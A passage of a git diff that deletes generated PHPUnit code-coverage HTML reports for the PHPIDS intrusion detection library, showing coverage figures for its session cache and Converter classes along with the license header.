class="lineNum" id="container126"><a name="126"></a><a href="#126" id="line126"> 126</a> </span> : * -<span class="lineNum" id="container127"><a name="127"></a><a href="#127" id="line127"> 127</a> </span> : * @return mixed cache data or false -<span class="lineNum" id="container128"><a name="128"></a><a href="#128" id="line128"> 128</a> </span> : */ -<span class="lineNum" id="container129"><a name="129"></a><a href="#129" id="line129"> 129</a> </span> : public function getCache() -<span class="lineNum" id="container130"><a name="130"></a><a href="#130" id="line130"> 130</a> </span> : { -<span class="lineNum" id="container131"><a name="131"></a><a href="#131" id="line131"> 131</a> </span> : -<span class="lineNum" id="container132"><a name="132"></a><a href="#132" id="line132"> 132</a> </span><span class="lineCov"> 2 : if ($this->type && $_SESSION['PHPIDS'][$this->type]) { </span> -<span class="lineNum" id="container133"><a name="133"></a><a href="#133" id="line133"> 133</a> </span><span class="lineCov"> 1 : return $_SESSION['PHPIDS'][$this->type]; </span> -<span class="lineNum" id="container134"><a name="134"></a><a href="#134" id="line134"> 134</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container135"><a name="135"></a><a href="#135" id="line135"> 135</a> </span> : -<span class="lineNum" id="container136"><a name="136"></a><a href="#136" id="line136"> 136</a> </span><span class="lineCov"> 1 : return false; </span> -<span class="lineNum" id="container137"><a name="137"></a><a href="#137" id="line137"> 137</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container138"><a name="138"></a><a href="#138" id="line138"> 138</a> </span> : } -<span class="lineNum" id="container139"><a name="139"></a><a href="#139" id="line139"> 139</a> </span> : -<span class="lineNum" id="container140"><a name="140"></a><a href="#140" id="line140"> 140</a> </span> : /** -<span class="lineNum" id="container141"><a name="141"></a><a href="#141" id="line141"> 141</a> </span> : * Local variables: -<span class="lineNum" id="container142"><a name="142"></a><a href="#142" id="line142"> 142</a> </span> : * tab-width: 4 -<span class="lineNum" id="container143"><a name="143"></a><a href="#143" id="line143"> 143</a> </span> : * c-basic-offset: 4 -<span class="lineNum" id="container144"><a name="144"></a><a href="#144" id="line144"> 144</a> </span> : * End: -<span class="lineNum" id="container145"><a name="145"></a><a href="#145" id="line145"> 145</a> </span> : */ - -</pre> - </td> - </tr> - </table> - - <table width="100%" border="0" cellspacing="0" cellpadding="0"> - <tr><td class="ruler"><img src="glass.png" width="3" height="3" alt=""></td></tr> - <tr><td class="versionInfo">Generated by <a href="http://www.phpunit.de/">PHPUnit 3.3.1</a> and <a href="http://www.xdebug.org/">Xdebug 2.1.0-dev</a> at Mon Dec 22 13:57:42 CET 2008.</td></tr> - </table> - - <br /> - - <script language="javascript"> - $E = YAHOO.util.Event; - YAHOO.namespace("phpunit.container"); - YAHOO.phpunit.container.panelsData = { - "panel34": { - "header": "1 test covers line 34", - "body": "<ul><li class=\"testPassed\">testCachingSession(IDS_CachingTest)</li></ul>", - "footer": "" - }, - "panel52": { - "header": "1 test covers line 52", - "body": "<ul><li class=\"testPassed\">testCachingSession(IDS_CachingTest)</li></ul>", - "footer": "" - }, - "panel86": { - "header": "1 test covers line 86", - "body": "<ul><li class=\"testPassed\">testCachingSession(IDS_CachingTest)</li></ul>", - "footer": "" - }, - "panel87": { - "header": "1 test covers line 87", - "body": "<ul><li class=\"testPassed\">testCachingSession(IDS_CachingTest)</li></ul>", - "footer": "" - }, - "panel88": { - "header": "1 test covers line 88", - "body": "<ul><li class=\"testPassed\">testCachingSession(IDS_CachingTest)</li></ul>", - "footer": "" - }, - "panel101": { - "header": "4 tests cover line 101", - "body": "<ul><li class=\"testPassed\">testCachingSession(IDS_CachingTest)</li><li class=\"testPassed\">testCachingSessionSetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingSessionGetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingSessionGetCacheDestroyed(IDS_CachingTest)</li></ul>", - "footer": "" - }, - "panel102": { - "header": "1 test covers line 102", - "body": "<ul><li class=\"testPassed\">testCachingSession(IDS_CachingTest)</li></ul>", - "footer": "" - }, - "panel103": { - "header": "1 test covers line 103", - "body": "<ul><li class=\"testPassed\">testCachingSession(IDS_CachingTest)</li></ul>", - "footer": "" - }, - "panel105": { - "header": "4 tests cover line 105", - "body": "<ul><li class=\"testPassed\">testCachingSession(IDS_CachingTest)</li><li class=\"testPassed\">testCachingSessionSetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingSessionGetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingSessionGetCacheDestroyed(IDS_CachingTest)</li></ul>", - "footer": "" - }, - "panel118": { - "header": "3 tests cover line 118", - "body": "<ul><li class=\"testPassed\">testCachingSessionSetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingSessionGetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingSessionGetCacheDestroyed(IDS_CachingTest)</li></ul>", - "footer": "" - }, - "panel119": { - "header": "3 tests cover line 119", - "body": "<ul><li class=\"testPassed\">testCachingSessionSetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingSessionGetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingSessionGetCacheDestroyed(IDS_CachingTest)</li></ul>", - "footer": "" - }, - "panel132": { - "header": "2 tests cover line 132", - "body": "<ul><li class=\"testPassed\">testCachingSessionGetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingSessionGetCacheDestroyed(IDS_CachingTest)</li></ul>", - "footer": "" - }, - "panel133": { - "header": "1 test covers line 133", - "body": "<ul><li class=\"testPassed\">testCachingSessionGetCache(IDS_CachingTest)</li></ul>", - "footer": "" - }, - "panel136": { - "header": "1 test covers line 136", - "body": "<ul><li class=\"testPassed\">testCachingSessionGetCacheDestroyed(IDS_CachingTest)</li></ul>", - "footer": "" - }, - "dummy": "" - }; - - YAHOO.phpunit.container.prepare = function (e) { - var elemId = $E.getTarget(e).id; - var line = elemId.substr(4); - var panelId = "panel" + line; - var containerId = "container" + line; - - var panelData = YAHOO.phpunit.container.panelsData[panelId]; - - var panel = new YAHOO.widget.Panel(panelId, { visible:false, draggable:false, close:true } ); - panel.setHeader(panelData["header"]); - panel.setBody(panelData["body"]); - panel.setFooter(panelData["footer"]); - panel.render(containerId); - - $E.addListener(elemId, "click", panel.show, panel, true); - $E.removeListener(elemId, "mouseover"); - }; - - function init() { - var ypc = YAHOO.phpunit.container; - for (var panelId in ypc.panelsData) { - var elemId = "line" + panelId.substr(5); - $E.addListener(elemId, "mouseover", ypc.prepare); - } - } - - $E.addListener(window, "load", init); - </script> - </body> -</html> diff --git a/apps/maarch_entreprise/tools/phpids/tests/coverage/Converter.php.html b/apps/maarch_entreprise/tools/phpids/tests/coverage/Converter.php.html deleted file mode 100755 index cc61d73658ba1e3d4018e85ee072897355f21fbc..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/tests/coverage/Converter.php.html +++ /dev/null @@ -1,2511 +0,0 @@ -<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> - -<html lang="en"> - <head> - <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"> - <title>PHPIDS</title> - <link rel="stylesheet" type="text/css" href="style.css"> - <link rel="stylesheet" type="text/css" href="container.css"> - <script type="text/javascript" src="yahoo-dom-event.js"></script> - <script type="text/javascript" src="container-min.js"></script> - </head> - - <body class="yui-skin-sam"> - <table width="100%" border="0" cellspacing="0" cellpadding="0"> - <tr><td class="title">PHPIDS</td></tr> - <tr><td class="ruler"><img src="glass.png" width="3" height="3" alt=""></td></tr> - - <tr> - <td width="100%"> - <table cellpadding="1" border="0" width="100%"> - <tr> - <td class="headerItem" width="20%">Current file:</td> - <td class="headerValue" width="80%"><a href="index.html">/home/lstrojny/Projekte/php-ids/trunk/lib/IDS</a>/<a href="Converter.php.html">Converter.php</a></td> - </tr> - <tr> - <td class="legendItem" width="20%">Legend:</td> - <td class="legendValue" width="80%"> - <span class="legendCov">executed</span> - <span class="legendNoCov">not executed</span> - <span class="legendDeadCode">dead code</span> - </td> - </tr> - </table> - </td> - </tr> - - <tr> - <td class="ruler"><img src="glass.png" width="3" height="3" alt=""></td> - </tr> - </table> - - <br /> - - <center> - <table width="90%" cellpadding="2" cellspacing="1" border="0"> - <tr> - <td class="tableHead" width="30%"> </td> - <td class="tableHead" colspan="9">Coverage</td> - </tr> - <tr> - <td class="tableHead"> </td> - <td class="tableHead" colspan="3">Classes</td> - <td class="tableHead" colspan="3">Methods</td> - <td class="tableHead" colspan="3">Lines</td> - </tr> - <tr> - <td class="coverItem">Total</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">18 / 18</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="85" height="10" alt="85.57 %"><img src="snow.png" width="15" height="10" alt="85.57%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">85.57%</td> - <td class="coverNumHi">249 / 291</td> - </tr> - - <tr> - <td class="tableHead" colspan="10"> </td> - </tr> - <tr> - <td class="coverItem"><b><a href="#51">IDS_Converter</a></b></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">18 / 18</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="85" height="10" alt="85.57 %"><img src="snow.png" width="15" height="10" alt="85.57%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">85.57%</td> - <td class="coverNumHi">249 / 291</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#65">public static function runAll($value)</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">6 / 6</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#86">public static function convertFromCommented($value)</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">11 / 11</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#116">public static function convertFromNewLines($value)</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">3 / 3</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#134">public static function convertFromJSCharcode($value)</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">51 / 51</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#214">public static function convertJSRegexModifiers($value)</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">2 / 2</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#229">public static function convertEntities($value)</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">7 / 7</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#249">public static function convertQuotes($value)</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">3 / 3</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#266">public static function convertFromSQLHex($value)</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">13 / 13</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#291">public static function convertFromSQLKeywords($value)</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">14 / 14</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#321">public static function convertFromControlChars($value)</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">19 / 19</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#359">public static function convertFromNestedBase64($value)</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">10 / 10</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#383">public static function convertFromOutOfRangeChars($value)</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">7 / 7</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#403">public static function convertFromXML($value)</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">4 / 4</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#422">public static function convertFromJSUnicode($value)</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="butter.png" width="36" height="10" alt="36.36 %"><img src="snow.png" width="64" height="10" alt="36.36%"></td> - </tr> - </table> - </td> - <td class="coverPerMed">36.36%</td> - <td class="coverNumMed">4 / 11</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#449">public static function convertFromUTF7($value)</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="scarlet_red.png" width="17" height="10" alt="17.50 %"><img src="snow.png" width="83" height="10" alt="17.50%"></td> - </tr> - </table> - </td> - <td class="coverPerLo">17.50%</td> - <td class="coverNumLo">7 / 40</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#506">public static function convertConcatenations($value)</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">28 / 28</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#558">public static function convertFromProprietaryEncodings($value)</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">13 / 13</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#603">public static function runCentrifuge($value, IDS_Monitor $monitor = NULL)</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="95" height="10" alt="95.83 %"><img src="snow.png" width="5" height="10" alt="95.83%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">95.83%</td> - <td class="coverNumHi">46 / 48</td> - </tr> - - - </table> - </center> - - <br /> - - <table cellpadding="0" cellspacing="0" border="0"> - <tr> - <td><br /></td> - </tr> - <tr> - <td> -<pre class="source"> -<span class="lineNum" id="container1"><a name="1"></a><a href="#1" id="line1"> 1</a> </span> : <?php -<span class="lineNum" id="container2"><a name="2"></a><a href="#2" id="line2"> 2</a> </span> : -<span class="lineNum" id="container3"><a name="3"></a><a href="#3" id="line3"> 3</a> </span> : /** -<span class="lineNum" id="container4"><a name="4"></a><a href="#4" id="line4"> 4</a> </span> : * PHPIDS -<span class="lineNum" id="container5"><a name="5"></a><a href="#5" id="line5"> 5</a> </span> : * -<span class="lineNum" id="container6"><a name="6"></a><a href="#6" id="line6"> 6</a> </span> : * Requirements: PHP5, SimpleXML -<span class="lineNum" id="container7"><a name="7"></a><a href="#7" id="line7"> 7</a> </span> : * -<span class="lineNum" id="container8"><a name="8"></a><a href="#8" id="line8"> 8</a> </span> : * Copyright (c) 2008 PHPIDS group (https://phpids.org) -<span class="lineNum" id="container9"><a name="9"></a><a href="#9" id="line9"> 9</a> </span> : * -<span class="lineNum" id="container10"><a name="10"></a><a href="#10" id="line10"> 10</a> </span> : * PHPIDS is free software; you can redistribute it and/or modify -<span class="lineNum" id="container11"><a name="11"></a><a href="#11" id="line11"> 11</a> </span> : * it under the terms of the GNU Lesser General Public License as published by -<span class="lineNum" id="container12"><a name="12"></a><a href="#12" id="line12"> 12</a> </span> : * the Free Software Foundation, version 3 of the License, or -<span class="lineNum" id="container13"><a name="13"></a><a href="#13" id="line13"> 13</a> </span> : * (at your option) any later version. -<span class="lineNum" id="container14"><a name="14"></a><a href="#14" id="line14"> 14</a> </span> : * -<span class="lineNum" id="container15"><a name="15"></a><a href="#15" id="line15"> 15</a> </span> : * PHPIDS is distributed in the hope that it will be useful, -<span class="lineNum" id="container16"><a name="16"></a><a href="#16" id="line16"> 16</a> </span> : * but WITHOUT ANY WARRANTY; without even the implied warranty of -<span class="lineNum" id="container17"><a name="17"></a><a href="#17" id="line17"> 17</a> </span> : * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -<span class="lineNum" id="container18"><a name="18"></a><a href="#18" id="line18"> 18</a> </span> : * GNU Lesser General Public License for more details. -<span class="lineNum" id="container19"><a name="19"></a><a href="#19" id="line19"> 19</a> </span> : * -<span class="lineNum" id="container20"><a name="20"></a><a href="#20" id="line20"> 20</a> </span> : * You should have received a copy of the GNU Lesser General Public License -<span class="lineNum" id="container21"><a name="21"></a><a href="#21" id="line21"> 21</a> </span> : * along with PHPIDS. If not, see <http://www.gnu.org/licenses/>. -<span class="lineNum" id="container22"><a name="22"></a><a href="#22" id="line22"> 22</a> </span> : * -<span class="lineNum" id="container23"><a name="23"></a><a href="#23" id="line23"> 23</a> </span> : * PHP version 5.1.6+ -<span class="lineNum" id="container24"><a name="24"></a><a href="#24" id="line24"> 24</a> </span> : * -<span class="lineNum" id="container25"><a name="25"></a><a href="#25" id="line25"> 25</a> </span> : * @category Security -<span class="lineNum" id="container26"><a name="26"></a><a href="#26" id="line26"> 26</a> </span> : * @package PHPIDS -<span class="lineNum" id="container27"><a name="27"></a><a href="#27" id="line27"> 27</a> </span> : * @author Mario Heiderich <mario.heiderich@gmail.com> -<span class="lineNum" id="container28"><a name="28"></a><a href="#28" id="line28"> 28</a> </span> : * @author Christian Matthies <ch0012@gmail.com> -<span class="lineNum" id="container29"><a name="29"></a><a href="#29" id="line29"> 29</a> </span> : * @author Lars Strojny <lars@strojny.net> -<span class="lineNum" id="container30"><a name="30"></a><a href="#30" id="line30"> 30</a> </span> : * @license http://www.gnu.org/licenses/lgpl.html LGPL -<span class="lineNum" id="container31"><a name="31"></a><a href="#31" id="line31"> 31</a> </span> : * @link http://php-ids.org/ -<span class="lineNum" id="container32"><a name="32"></a><a href="#32" id="line32"> 32</a> </span> : */ -<span class="lineNum" id="container33"><a name="33"></a><a href="#33" id="line33"> 33</a> </span> : -<span class="lineNum" id="container34"><a name="34"></a><a href="#34" id="line34"> 34</a> </span> : /** -<span class="lineNum" id="container35"><a name="35"></a><a href="#35" id="line35"> 35</a> </span> : * PHPIDS specific utility class to convert charsets manually -<span class="lineNum" id="container36"><a name="36"></a><a href="#36" id="line36"> 36</a> </span> : * -<span class="lineNum" id="container37"><a name="37"></a><a href="#37" id="line37"> 37</a> </span> : * Note that if you make use of IDS_Converter::runAll(), existing class -<span class="lineNum" id="container38"><a name="38"></a><a href="#38" id="line38"> 38</a> </span> : * methods will be executed in the same order as they are implemented in the -<span class="lineNum" id="container39"><a name="39"></a><a href="#39" id="line39"> 39</a> </span> : * class tree! -<span class="lineNum" id="container40"><a name="40"></a><a href="#40" id="line40"> 40</a> </span> : * -<span class="lineNum" id="container41"><a name="41"></a><a href="#41" id="line41"> 41</a> </span> : * @category Security -<span class="lineNum" id="container42"><a name="42"></a><a href="#42" id="line42"> 42</a> </span> : * @package PHPIDS -<span class="lineNum" id="container43"><a name="43"></a><a href="#43" id="line43"> 43</a> </span> : * @author Christian Matthies 